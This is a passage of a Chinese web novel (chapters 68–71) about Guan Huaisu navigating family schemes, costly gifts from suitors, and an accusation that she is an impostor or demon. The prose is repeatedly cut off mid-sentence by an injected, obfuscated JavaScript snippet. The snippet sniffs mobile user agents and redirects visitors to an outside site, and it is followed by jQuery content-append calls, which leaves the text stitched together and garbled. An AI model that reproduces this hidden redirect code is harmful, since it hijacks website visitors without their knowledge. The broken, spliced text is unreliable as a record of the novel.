;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247910|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“难道是因为我身上的流言,你不想与我这个叛国小人来往,不愿意收我的礼物?” 关怀素登时急了,赶紧说:“当然不是,是这东西实在贵重,我若是收了,家里问起来,我无法交代,外出问起来,我平白收受您这么贵重的东西,也说不清楚……哎呀,你别这样……” 关怀素说着,周乐天眼圈竟红了,他侧身凄惨地说:“也是,若是叫人知道是我送的礼物,倒确实说出去不光彩……” “我不是这个意思!”关怀素急地连声解释,说,“我是怕影响侯爷的声誉,咱们非亲非故,我收了如此贵重的礼物,外人说起来……” “当初关老先生也算是我母亲的老师,于我亦算得上半个老师。再说你还为我忙水道图的事情,如此种种,收下这及笄礼物又算得上什么?至于贵重与否……我母亲在京中,你及笄必然有真正贵重的礼物,我这绝对算不得什么。”周乐天说完,看着关怀素,难过地说,“若是姑娘顾及我的身份,不想与我亲近,我亦能理解,我这就告辞了……” 说着,周乐天眼睛发红,转身就要走。 “我收!”关怀素哪里能让他如此离开,登时什么顾虑都飞到了九霄云外,一把抓住锦盒,把周乐天拉回来,说,“我收下,你别难过!” 周乐天惊喜一下,而后又伤怀地说:“姑娘不必怕伤害到我勉强自己。” “绝不勉强。”关怀素接过来,说,“如此漂亮的珍珠冠,我欢喜还来不及呢,只是顾忌家里人罢了。” “便坦言是我送的。”周乐天闻言,心中大为欢喜,展颜一笑,拿出发冠里的钗子簪在关怀素的头上,语调温柔之中带着肃穆威杀之意,轻声说,“至少得是这样的东西,才配戴在你的头上。若有人有意见,便叫他们来寻本候分说。” 关怀素见他笑了,登时心中软成一滩春水,也忍不住笑了出来。 程娘子在旁边看完全部过程,眼角快忍到抽筋。 晚上,陈郎中躺下准备歇了,发现娘子拆了头发,突然莫名其妙笑出声来。 陈郎中有些惊恐,忍不住说:“娘子,你今儿到底怎么了,怎地大半夜阴森发笑,怪吓人的!” “我呸,你懂个屁!”程娘子拆了耳铛,实在是忍不住,又笑出声来,越笑越是痛快,拍着案几乐出声来:“嘿嘿,李家那些**胚子,天天寻摸那些个骚腥臭王八,还想欺负我家婉玉……我呸!到时候时机成熟,气死她们!” 差点睡着的陈郎中被惊醒,惊慌发问:“娘子你咋了?大半夜你拍桌子狂笑作甚?” “你睡你的!”程娘子心情好,只说,“别管我。” 当晚程娘子心情激荡,勉强睡着,梦里梦到婉玉当了侯夫人,李家人跪下哭着给婉玉磕头请罪,一时心中大为畅快,不时“嘿嘿”笑出声来。 吓得陈郎中半夜惊醒几回,一大早带着两个黑眼圈和一脑袋问号去当值。 第六十八章 赵家打算 年关将近,关怀素一大早就十分忙碌。 因一早陈渠就来了,送庄子上的出息,还带了足足五车土仪。 更重要的是关怀素之前离开庄子时交代的事情,陈渠也一一全部有了回复。 “姑娘,跛三一路查到的消息,据说那帮人在江宁一带出现过,他已经起身往那边去了。”陈渠说,“消息**不离十,就是路途遥远,盘缠不够,小的做主从账上提前支了寄过去了,没跟姑娘请示,请姑娘恕罪。” 关怀素闻言大喜,说:“你做得很好,查到眉目便是好事,不必顾忌钱财!” “再则是姑娘想在京师里查人的事儿,跛三带着兄弟们在外头,刚巧庄子上**的陈虎兄弟早年做过大户人家的打手,我便跟丁妈妈举荐了这两兄弟。”陈渠说,“这两兄弟先头**也是误会,之后送了许多猎物想找姑娘请罪,我见他们诚心,又有本事,便把他们家的孩子收了在庄子上做事,姑娘只管放心用他们。” 关怀素闻言点头,说:“好,你安排得都很好。” 陈渠办事有条理,主仆二人说了一会子话,关怀素赏了他钱财与两匹时兴料子,陈渠就告退出去了。 陈渠才出去,一个老妈妈擦着眼泪与陈渠擦肩而过,进了关怀素的院子。 柳叶站在窗边看了一会儿,对关怀素说:“姑娘,是老夫人身边的王妈妈,在跟丁妈妈哭诉什么。” 关怀素闻言也是好奇,二人正说着呢,柳叶说:“姑娘,丁妈妈带着王妈妈过来了!” “去,泡壶好茶,招待我们的贵客。”关怀素闻言,心中一动,立刻吩咐。 柳叶立刻带着小荷去泡茶,说话之间,丁妈妈带着王妈妈就进来了。 一进门,王妈妈跪在地上请安,一句“大姑娘万安”还没说出来,已经落下泪来。 “哎,姑娘,我来说吧。王妈妈来这边,实在是遇到了一桩难事,她也不知道找谁商量,便想着来求姑娘了。”丁妈妈看她这样,立刻站出来说,“姑娘可记得在老夫人屋里伺候的宝丫?” 关怀素立刻想起来,点头说:“记得,长得格外漂亮那个。” “可不就是长得格外漂亮,才惹出如今的事儿。”丁妈妈叹口气,说,“今儿个老夫人突然说,她那女儿瞧着也到年纪了,生得漂亮,让收拾一下,给老爷身边添个人。” “怎么可能!”关怀素震惊地说,“宝丫就十三四岁吧?比我和婉蓉年纪还小一些,怎么可能!” “回姑娘,我的宝丫才不到14,老婆子还几日还托丁家老姐姐给寻个乡下殷实人家,想把她嫁出去当个正头娘子。老夫人原也是答应了的,昨个儿不知为何突然改了主意。”王妈妈听到这里,哭出声来,跪在地上捶心口说,“今儿个我去打探,老夫人竟是真下了心,一大早叫人给宝丫收拾,晚上安排老爷来屋里用夕食。我跪下来求老夫人,还被斥责一番……” 说到这里,王妈妈趴在地上,痛哭失声。 丁妈妈眼圈也红了,轻声说:“姑娘,王家妹子就这一个女儿,养的不比小户人家的姑娘差,也没别的指望,就想她脱了为奴为婢的日子,当个正头娘子。王家妹子也是没办法了,姑娘若是有法子,便求姑娘给个主意吧!” 关怀素颔首,眼珠一转已经计上心来,她立刻说:“王妈妈,我有个主意,只是许要吃老夫人的瓜落,不知你……” “我愿意!”王妈妈抬头,眼神露出发狠的神色,说,“姑娘只管说,为了我的宝丫,老婆子什么都愿意做!” 关怀素立刻把自己的安排轻声说了,王妈妈闻言,疑惑地说:“如此便可以?” “我父亲虽爱色,但是颇为清高,此招一出,他绝对不会纳宝丫的。”关怀素笑着说。 王妈妈闻言,立刻磕了个头,说:“我这就去按姑娘教的办!若是有用,日后定来磕头谢大姑娘!” 说完,她立刻起身,拿袖子胡乱擦了一下脸,便匆匆回去。 “哎!王妈妈,才泡的今年新出的银针,不喝一杯?”柳叶刚好端着泡好的茶回来,想挽留王妈妈,却见她勉强笑着拒了,而后匆匆出去。 柳叶端着茶进门,放在关怀素面前,说:“这么快就解决了?” “不是什么难事。”关怀素笑着拿起茶杯,说,“最难的部分,都靠丁妈妈解决了,我不过是顺水推舟罢了。这杯茶丁妈妈一定要喝,你可是大功臣!” “啊?”丁妈妈惶恐不解,说,“姑娘,我做了什么?” “这王妈妈伺候老夫人十二年了,出事之后能第一个想到找丁妈妈,这便是妈妈的大本事。”关怀素笑着把茶递过去,说,“妈妈别谦让,喝吧。” “不过是找个脾气最好的,与人好好说话,帮人办办事,请吃饭喝个酒罢了。”丁妈妈羞愧地说,“怎当得起姑娘这么夸。” “妈妈你就喝吧。”柳叶笑着说,“李家风气不正,上梁不正下梁歪,下人之间个个都斗的乌眼鸡一样,王妈妈不找别人只找您,一则是其他人信不过,实在是无法,二则是您这几分真心,已经极为难得了。” 丁妈妈自己并不以为意,只觉得是姑娘抬举她,但是心中受用,喝了这据说一两都得二十两银子的银针,只觉得这辈子都没这么畅快过。 她们这边畅快,老夫人却不欢喜。 却是因为晚上的时候,她早早叫了李珺来用夕食,结果李珺过去的时候,便看到院子里两个总角少女在嬉戏玩耍,玩到一半,便拿袖子擦脸上的鼻涕。 他看了一眼,只觉得有些恶心,但不好申斥两个小孩,便移开目光走了。结果到了用饭的时候,老夫人叫了一个小丫鬟出来,叫伺候他用饭。 李珺当时就觉得这小丫鬟眼熟得很,一直没认出来,直到老夫人让他带着去书房里伺候着,小丫鬟打翻茶水,李珺低头一看,看到小丫鬟鞋子边的泥泞,登时才反应过来——这竟是白天还留着双丫髻打闹的小丫鬟! 晚上虽梳了辫子,又换了新衣裳,还上了胭脂,瞧着与白日大不一样,但是李珺对她擦鼻涕的样子还记忆犹新,这时候哪里能欣赏这丫鬟的姿色? 他立刻严词拒绝,老夫人一再想送,闹得李珺脸色都不好了。 “姑娘,事儿成了。”大晚上,丁妈妈喜不自胜地过来说,“老爷与老夫人吵了几句,只说他懒得哄孩子,饭都没吃什么,方才往宁小娘屋里去了。” 关怀素闻言,笑着喝了一口茶,轻声说:“接下来,就看看王妈妈打算怎么谢我了。” 她却没想到,她在这边大获全胜,好容易迈出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247911|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一步,与老夫人身边得用的一个妈妈有了关系。 那头,赵二郎却给了她一个大惊吓。 丁妈妈昨儿个因为王妈妈的事情耽误了,第二天一大早就去赵家送回赵二郎送的那顶珍珠发冠。 结果等关怀素用着朝食呢,丁妈妈匆匆回来,脸色十分不好看地说:“姑娘,赵二郎说没送错,那发冠原就是他特地挑了送给姑娘的。” 关怀素差点吓得咬住舌头,不可置信地瞪大眼睛说:“什么?!” 关怀素以为自己听错了,丁妈妈却点头笃定地说:“就这么说的,三姑娘也在,说不是弄错了,是二哥专门给姑娘挑的及笄礼物。对了,赵姑娘还说,上次落水后,姑娘送的缠花簪子谢礼她很是喜欢,刚巧最近得了几只皇后赏的绒花簪,便给姑娘分一对。” “拿来给我看看。”关怀素立刻放下碗筷,着急地说。 丁妈妈把匣子打开,送到关怀素面前。 关怀素一看,是一对绒花粉菊,丝线细如银针细细密密地展开在花瓣上,灯光下流光溢彩,绿叶花朵都意态极美。 绒花乃是内造贡品,又是不传秘技,这东西虽看着小巧,但是稀罕程度甚至远超珍珠发冠。 赵二郎说发冠没送错,紧接着赵白芷又送她这么珍贵的簪子。 “姑娘,你说这赵家是什么意思啊?”丁妈妈担心地问。 关怀素缓缓吐出一口气,皱眉说:“赵家可能有意撮合我与赵二郎。” 丁妈妈愕然,脱口而出:“可之前不都是二姑娘与三姑娘在争吗?” 关怀素心乱如麻,皱眉轻声自言自语,“是啊,为什么是我?我没有母族助力……不对,父亲近日在宣扬祖父与姨母的事情……” 想到这里,关怀素豁然开朗。 柳叶也猜出来了,说:“姑娘,程家姨母最近许有大喜事了!” 关怀素点头,面露喜色,说:“定是如此!” 丁妈妈听不明白,急了,连忙说:“姑娘柳叶,你们在打什么哑谜?快告诉我吧!” “赵家为何一直未定下婚约?”柳叶立刻对丁妈妈说,“大约不过是对家里几个都不满意,对不对?” 丁妈妈点头,说:“老婆子都察觉出来了,赵二郎贪色,喜欢婉蓉,可又觉得她身份太低,性子轻浮,婉淑倒是端庄,身份也不错,但是实在是品貌一般。” “这就是了,你想想,若是咱家姑娘,有一个得圣人关注与嘉奖的姨母呢?”柳叶说。 “那还得了!”丁妈妈立刻自信说,“那便是东西院加起来,都比不过姑娘一个手指头……哦哟!赵二郎是盯上咱们姑娘了!” 见丁妈妈总算反应过来,柳叶笑出声来。 “那姑娘可想嫁赵二郎?”丁妈妈立刻有些好奇地问。 关怀素摇头,揉了揉额头,想了一会儿,像是下定了什么决心。 “早点休息,明日一早备好年礼,去拜访白芷妹妹。”关怀素长舒一口气,最终做出决断。 “姑娘,没事吧?”丁妈妈有些担心地问。 “没事,不过是麻烦一些罢了。”关怀素叹了口气,眼光移到了首饰匣子里,周乐天送的那莲花发冠。 她轻声说:“侯爷,对不住,得借你一用了。” 第六十九章 谢赐珍珠 第二日,关怀素起了个大早,一早就挑了长公主上次赏赐的那套绿裙,并连外头那红滚**披风也跟着叫拿出来用香包烘一烘。 “姑娘,这是不是太张扬了些?”柳叶觉得不太好,忍不住轻声关怀素。 关怀素却说:“今儿戴这个吧。” 柳叶看她指的是周乐天送的那套珍珠冠,倒抽一口气,说:“姑娘,今儿不过是拜访朋友,何必如此盛装?” “我自有打算。”关怀素捻起那发冠的帽钗与紫玉珍珠垂帘,串成一串步摇,说,“不用戴主冠,如此便好。” 柳叶一听,知道姑娘有自己的讲究,便不再劝阻,给她簪好发饰。 关怀素一贯习惯清淡秀美,如今猛地又是华服又是步摇,一时显得贵气逼人。 如此打扮好,把赵二郎送的那珍珠发冠悄悄带着,一早就出发去拜访赵白芷。 “姐姐无事主动来登门,真是稀罕。”到了赵家,赵白芷早已经等着,一见面便打趣地笑说。 说完她神色露出惊艳之色,拉着关怀素左看右看,连声夸赞:“婉玉姐姐素日很少打扮,今儿这一打扮,把我的眼睛都要看花了……可真是太漂亮了!” 关怀素也笑了笑,她没有错过赵白芷看到她额间那微微晃动的珍珠步摇的时候,那一瞬间的眼神一滞。 关怀素顿时觉得——赵白芷好像认识这个珍珠步摇。 只是不知道是认识这东西出自内造,还是认识这是周乐天府里的东西。 关怀素心中犹豫了一下,但是此刻箭在弦上不得不发,她笑着从柳叶手里接过匣子,端端正正捧过去,认真地对赵白芷说:“妹妹,今日我登门,便是想着请妹妹帮我把这发冠还给赵二哥,就说发冠贵重,实在是与婉玉不配。” 赵白芷打开一看,那珍珠发冠放在里面,旁边还放着她送的那一对绒花发簪。 她叹了口气,看着关怀素,坦诚地说:“姐姐,我与姐姐相处这些时日以来,已经知道姐姐绝非普通女子,我二哥确实有些匹配不上姐姐。只是我心里有私心,便帮了二哥一次。” 关怀素见她落落大方,把事情挑明,心中敬重,连忙郑重说:“白芷妹妹过誉,倒叫我惭愧了。” “不是过誉。”赵白芷想说什么,但是却叹了口气,突然看着关怀素鬓边那支发簪,轻声问:“姐姐,其实我帮二哥一把,也是听说了那马公子的事情……只是如今看起来,姐姐似乎并不需要妹妹操心了?” 关怀素看她看鬓边钗子,一时有些进退两难。 但是看着赵白芷一脸赤诚,关怀素犹豫了一下,到底叹了口气,起身行礼,突然说:“请妹妹宽恕我小人之心。我原是担心这发冠退不回去,便想着以此为借口,弄一些胡言乱语的暗示……实在是今儿我这发冠不送回去,日后宣扬出去,我只怕在家里的日子就过不下去了。” 说到最后,关怀素忍不住叹了口气。 因为她知道此事确实是她不地道,因为她曾偷听到过赵白芷给周乐天表白,而这次她穿戴长公主赐下的衣衫,戴着华贵珠钗,想的就是让赵白芷误会——毕竟长公主最近在给小侯爷看婚事,而她当日被长公主称赞、十分亲昵,这事儿满京皆知。 这事儿一则是关怀素手上有东西,方便暗示,二则是她知道赵白芷心悦周乐天,不管到什么地步,她这一手都能让赵白芷方寸大乱,只要她一乱,关怀素就有把握把东西还回去、自此两清。 赵白芷坦荡以待,她便也坦荡承认自己的小算盘,把事情解释的清楚,只是隐没她曾听到赵白芷对周乐天表明心迹的事情,只说自己腆着脸打算胡言乱语攀扯周乐天云云。 “姐姐处境艰难,行事小心些,妹妹都知道。”关怀素以为赵白芷会生气,却没想到她只是笑了一下,神色非常复杂地看了关怀素一眼,犹豫了一下,想说什么,半晌却突然温声说:“姐姐头上已经有了珍珠,便不需要这发冠了。东西我便收下,也会和二哥哥说清楚,只是这绒花确实是我想给姐姐的,还请姐姐不要嫌弃。这东西不代表任何意思,只看姐姐认不认我这个妹妹了。若是认我这个妹妹,那便请姐姐收下。” 关怀素一听,不好拒绝,便告罪收下。 说笑间,关怀素正要起身,却见赵白芷亲自过来,把那粉色绒花簪在她的发髻后面。 “真好看,那我便不耽误姐姐啦。”做完这一切,关怀素就看到赵白芷笑着对她说。 这笑容十分勉强,关怀素看得十分疑惑,但是赵白芷已经要送客,她也不再耽搁,告辞离开。 关怀素不知道的是,她告辞离开之后,赵白芷身边的丫鬟就吓了一跳,因她看到自家一直笑吟吟的主子,此刻脸上已经满是泪痕。 赵白芷哭的时候,依旧是十分端庄的,只是眼圈鼻尖发红,眼泪大颗大颗往下掉而已,即没有发出声音,便是连姿态都没有动一下。 可越是这样,益发让人察觉出她的伤心来。 “姑娘、姑娘,你这是何必……”大丫鬟寒鸦稍微知道一点主子的心思,连忙凑过来,眼圈也跟着红了,轻声想劝什么,却不知如何开口。 赵白芷眼泪一串串地掉,她声音有些发抖,轻声说:“寒鸦,你看到了吗?那是前朝内造的手艺,我曾在乐天哥哥的库房里见过,当时驸马爷说,那些都是留给乐天哥哥未来妻子的首饰……” “姑娘,许是误会呢。”寒鸦见主子哭得伤心,心中发狠,说,“再说了,李大姑娘出身这么低,只怕当不得侯夫人,还不知日后如何呢!” “婉玉姐姐极好。”赵白芷却擦着眼泪,摇头说,“我知道你护着我,可不要胡说。婉玉姐姐是个心思极好的人,又聪明又正直,乐天哥哥喜欢她,也是慧眼识珠。” “哎哟我的姑娘啊,我瞧你才是天底下最心思端正的姑娘。都这样了,还替人家说好话呢!”寒鸦忍不住愤愤地说。 “你不懂。”赵白芷轻声说,“两个多月之前,婉玉姐姐亲耳听到了我跟乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她把珍珠发冠送回去,便觉得松了口气,而后回家打算休息。 结果才到家里,却见管家李福像是等待多时,急急走过来说:“大姑娘可算回来了,老夫人和老爷、夫人等您许久了!” “等我做什么?”关怀素不解地问。 “姑娘去了就知道了。”李福说完,左右看了一眼,压低声音匆匆说,“是有下人说,猜疑大姑娘身份有异。” 这话一出,关怀素和柳叶对视一眼,都看到了对方眼中的惊恐。 关怀素不可置信,她的身份居然暴露了? 可是她明明什么都没做,怎么可能被人发现端倪?! “姑娘?姑娘?”李福喊她。 关怀素立刻回过神来,狠狠咬一口舌头,她吐出一口气,冷静地说:“多谢管家,请管家带路。” 说完,她扶着柳叶,彼此攥着对方的手,便往老夫人屋里而去。 第七十章 身份疑云 “你到底是什么人?!”关怀素才进屋,便见老夫人惊恐又愤怒地说,“你到底是人,还是什么精怪妖孽?!” 关怀素假作惊恐地看向李珺,紧张地问:“父亲,祖母是发癔症了吗?” 李珺脸色十分不好看,孙萍立刻站出来,说:“方妈妈,你把你发现的事情告诉大姑娘!” 立刻有个老妈妈站出来,跪下说:“是,前些日子小年家宴,老奴亲眼看着大姑娘吃了许多拌橡子冻!” “婉玉,你可承认此事?”孙萍像是抓住了什么大把柄,立刻追问。 关怀素想起来,确实有这事,立刻点头,痛快地说:“确实有此事,厨房做的橡子冻脆爽好吃,在屋里炭盆熏得慌,吃这个爽口。” “看,她承认了!”孙萍立刻指着说! 老夫人更是害怕地缩了起来,恨不得躲开,李珺都露出了惊疑不定的神色。 关怀素不明所以,李珺颤声说:“你去年还吃不得橡子粉,一吃就满身红疹,自小到大都是如此……” 听到这里,关怀素可算明白了。 她悄悄松了口气,面上郑重地说:“我当是什么,原来是这事儿。是,原先我是吃不得,但是在庄子上之后,也不知是因为日常事情都要自己做,还是来来去去劳累的关系,我长高了很多,身体也好了许多。当时我在庄子上没有菜吃,饥饿难耐吃了橡子粉,发现没事,便慢慢也习惯吃了。” 说完,关怀素行了个礼,对李珺说:“我只当这是个小事,没跟家里说,是婉玉的不是。” 李珺被她这一番话含沙射影,说的是脸上有些臊红。 “不可能!你定是恶鬼假扮婉玉!”老夫人却不信,立刻说,“不然你怎地性情大变!如今都说得通了!” 孙萍也是害怕又惊恐地说:“婉玉,你空口无凭,怎么能叫我们信任!” 关怀素脸色沉下脸,冷声说:“子不语怪力乱神,此事是不是真的,请郎中上门,便可以知道真假,这是其一。” 她看向李珺,说:“其二,父亲乃是正经读书人,李家门庭正派、身为朝廷命官有正气护体,鬼怪何敢侵犯朝中栋梁之家?只有家风败坏、道德低下、****、民怨纷腾之家才会招惹妖邪,母亲和祖母岂可胡说,这置父亲于何地?!” 李珺听到这里,登时心里一跳,想起来——是啊,此事不可闹开,若是叫政敌知道,不免要拿此事做筏子! 他立刻清醒过来,说:“去请郎中!” 李福立刻使了个眼色,小厮便匆匆冲了出去。 “如今想起来,大姐姐确实像变了个人。”婉蓉眼珠一转,突然开口,说,“说话做事都不一样了,样子也变了许多。” “确实呢。”婉淑也在旁边小声附和,“便是穿衣打扮也与往日都不一样,喜欢的吃食也变了。” 关怀素冷笑一声,说:“你们去庄子上待半年,过过三日只得一缸水,一天只得一顿饭的日子,再去自己对付一下刁难人的庄头,被人下毒下人不给请郎中的日子。去过半年那样的日子,我瞧瞧你们到底会不会还和现在一模一样!” “行了,你们都闭嘴!”李珺听得不舒服,立刻开口呵斥。 正说话间,小厮带着郎中进来了,说:“才到门口,刚巧遇到郎中给老夫人请平安脉来了。” “烦请黄老给小女诊脉。”李珺闻言,立刻开口说。 黄郎中是李家常用的郎中,已经七旬老者,自不需要避讳,关怀素坐下,老人便把了一下脉,老夫人便立刻紧张地问:“她和半年前,有什么差别?” 郎中拱手笑着说:“大姑娘身子养得很好,先前那些虚症已经完全没了,老夫人请放心。” “我不是问这个!”老夫人崩溃地说,“她可还是婉玉?” 黄郎中愣了一下,不明所以。 “黄老,婆母的意思是,前年婉玉还曾因厨下橡子粉没弄干净,掺杂在别的食物里,起了一场疹子,你可还记得?”孙萍眼看着不对,立刻站出来笑着说。 “哦哦哦,老夫记得,是前年夏日的事情。”黄郎中点头。 孙萍露笑说:“那她可否有可能,今年突然就可以大量食用橡子粉,而没有任何症状呢?” “这……风疹这东西,实在是不好说。”黄郎中迟疑地说。 “她绝对是妖孽变的!”孙萍身边的一个老妈妈跳出来,大声说,“我亲眼看着这妖孽吃了许多橡子粉做的橡子冻,两次都没起疹子!她定然是假扮的!” “快去请护国寺的道长来,家里有妖怪啊!”老夫人更是惊得差点昏厥过去,大声说。 李珺也是惊疑不定,周围的下人家丁登时都露出恐惧之色。 关怀素一拍桌子站起来,中气十足怒斥:“一派胡言,我都说了我是去了庄子上,没有吃喝,情急之下吃了发现没事而已。我已经长大,身体调理好,风疹消失了十分正常!这风疹的事情素来就是肺腑风邪罢了,调理好了自然能消失,不信让黄老给我把脉,自然便可以作证!” 黄郎中到这里才完全听懂了这一屋子人在吵什么,闻言立刻说:“是有可能的,风疹这东西确实是可能自愈的。” “不可能,她绝对是妖孽变得!”孙萍身边老妈妈大声说,“她不但能吃橡子粉,日常行事与以往的大姑娘都不一样,她绝对是妖孽,不然你看她额头上的那珍珠簪子,是哪里来的?肯定是她使妖法变得!” 李珺闻言这才往她头上看,一看登时惊疑不定,说:“玉儿,这珍珠簪瞧着不像是民间东西,你从哪里弄来的?” 关怀素心中冷笑,面上一派沉静,说:“回父亲,这是平安侯赠与我的。” 她猜测,孙萍身边的老妈妈突然提到这个簪子,一定是要用这个作为借口,来引出什么,绝不只是为了装疯卖傻。 关怀素已经猜到了他们会用什么说事儿了。 果然崔妙人捂口故作惊愕地说:“无缘无故,平安侯为何要送大姑娘这等珍贵的礼物,莫非……” “非为私情,平安侯不过是想谢我之前宴会里帮他处理水道图之事。”关怀素顺着她的话回答。 “说到这个水道图,确实是古怪,婉玉你什么时候会了这等本事?”李珺上回因为事发突然,都没细想此事,如今想起来,只觉得十分奇怪,说,“水道工学之事,不是非三五载不可入门么,你最多在庄子上待了半年,怎么就能看得懂如此复杂的水道图?” “回父亲,我也不知道。”关怀素拱手,故作疑惑地说,“我就是看了祖父留下的手书,翻看一番,便好像就明白了。” 历朝历代都有这等惊才绝艳的天才,关怀素便故意如此说,李家人怀疑又如何?谁能找到证据? “父亲,簪子不是我变的,乃是侯爷所赠。实话说,侯爷送了我一套发冠,这簪子不过是配发冠的帽簪罢了。”关怀素环视李家人,轻声说,“这东西对咱们金贵,侯爷说了,也不过是他府里放着落灰的小玩意儿,随手赏我的罢了。若是因为这个污蔑我是妖孽,我便是去京师府衙,也不认这等栽赃!” “李大人,这、这风疹一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16254011|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,确实是来去无踪,便是京师里头,也有听说过风疹和花疹时好时坏的事情。”黄郎中忍不住拱手说。 “多谢郎中,此事乃是家中妇孺不懂事,闹了一场乌龙,还请老人家看在老母年迈的情分上,勿要外传。”李珺闻言立刻说着,使了个眼色,李福立刻塞了个荷包过去,把道谢的黄郎中送出去。 而后李珺立刻对老夫人说:“母亲,您先去休息。” 又吩咐:“叫厨房煮安神汤送来,给母亲喝了再休息。” 说着,叫人把老夫人送去屋里休息后,李珺便对孙大娘子说:“好好的一天,你身边那老仆**胡说八道,闹得一家子家宅不宁!” 又对关怀素说:“老夫人年纪大了,许多事情不免糊涂了,玉儿,你别放在心上。” 关怀素点头,故作委屈地擦擦眼睛,带着难过地说:“无事,父亲肯信我,女儿不委屈。” 李珺闻言,心中一软,便温声说:“你去屋里休息去吧。” 关怀素闻言立刻请安离开。 回到院子,柳叶立刻说:“姑娘为何不追究大娘子?她身边的老妈妈居然敢如此胡言乱语攀扯您,难道便这么放过她了?” 丁妈妈也是如此,愤怒地说:“那个老货是荷花的娘老子,她定是记着荷花的死,在挑事儿!姑娘,你等着,我这就去找她的对手,寻一寻这老货的晦气去!” “好!”关怀素立刻答应下来,看着丁妈妈斗鸡一般地去了,转头立刻和柳叶说:“李珺定然也怀疑我的身份了。安排出去,叫师兄和钟妈妈想办法,一定要把老家的事情和八仙庄发生的事情解决好,绝不可走漏一丝风声。” 柳叶紧张地说:“老爷瞧着并不像是怀疑姑娘的样子?” “孙萍此人城府极深,从不做没有把握的事情,今日之事发难的太仓促儿戏,不是她的作风。”关怀素轻声说,“事发之后,李珺匆忙在平息按下此事,没有申斥大娘子,也不曾处罚那老妈妈,这与李珺的性子也不符合,所以我猜,此事应真是孙萍身边的老妈妈发现,但是不知为何叫老夫人知道风声,李珺还没想好如何处置,老夫人便闹起来,于是才出现了今日的状况。” 不得不说,关怀素虽未曾看到,但是推测的一分不差。 她离开之后,孙萍也很快回了院子。 她回屋就说:“扶芳,你去把我库房里那百子图首饰盒找来。” 扶芳答应下来,没一会儿抱着盒子来了,放在孙萍面前,轻声说:“十来年都没动过了,我方才擦拭了一下,但还是有些灰尘,娘子仔细些。” 孙萍点头,打开这黑漆描金的匣子,两旁展开,挂着的挂坠儿、玉坠、金锁等等一字排开。 上层一对对的孩童金项圈、璎珞,中间全数是一对对的小如意……一概种种,全数都是成双成对。 孙大娘子眯着眼睛,抚摸最上层盒子的那两只逗趣的蝉。 “姑娘,世上哪里有那么凑巧的事情,风疹突然好了,人说话做事全然不一样了,不可能的!”方妈妈还在耳边一直不停地说着,恶狠狠地说,“她定然是妖孽!老爷为什么让您休息,不要再管此事?” “老爷定然去查了。”孙萍眯了眯眼睛,轻声说,“明日叫周妈妈也去查探一番,我倒要瞧瞧,这到底是凑巧,还是里头真的有什么猫腻!” 说着,孙大娘子的眼神移到了全部抽开的五层抽屉,看着里面全部成双成对的小东西,眼里含着思索与审视。 当夜,三拨人悄无声息地从李家出去,俱往城外而去。 第七十一章 再访流云台寺 第二日一大早,关怀素便戴上了周乐天所送的珍珠莲花冠,穿了姨母新给她做的白兔毛披风,富贵堂皇地去给孙大娘子请安,告知她要去流云台寺给母亲添新年的香油。 婉蓉和婉淑眼睛一直没离开她头顶的发冠,便是孙萍都忍不住说:“到底是出京,这样打扮实在是太富贵了些,别遭了贼人惦记。” 关怀素抚了抚鬓,笑着说:“不过是想阿娘在天之灵看看我过得很好罢了。” 说完她起身离开,婉蓉咬牙回了屋里,便打开了自己的妝枢。 她瞪着自己的妝枢,看了半天,突然怒声说:“你瞧见方才大姐姐得意没?她那个莲花冠,我这一屋子都比不过!她还有个皇庄子,以后年节都有钱财和土产,吃喝一辈子不愁了。婉淑呢,她也有大娘子张罗,大娘子手上宽裕,前几日也说翻年就给她买个庄子做陪嫁,最近都在看了……你看看我呢?我这里都是些什么不值钱的玩意儿!” 她说到气性上来,竟是一把将手上随手捻起来的钗子直接丢回匣子里。 宝珠唬了一跳,正要说话,门口传来崔小娘的声音,说:“妈妈说老远看到你气冲冲地回来了,我还以为大娘子给你气受了,结果你是在意你大姐姐头上的首饰?” “小娘!那可不是一般首饰,父亲都说了不是民间的东西。你昨儿个不是也看到了,光一个帽钗都流光溢彩,那发冠我真是做梦都想不到的漂亮……”说到这里,婉蓉心中委屈,忍不住眼泪落下来,说,“大家都是父亲的女儿,凭什么她能用那样的东西!” 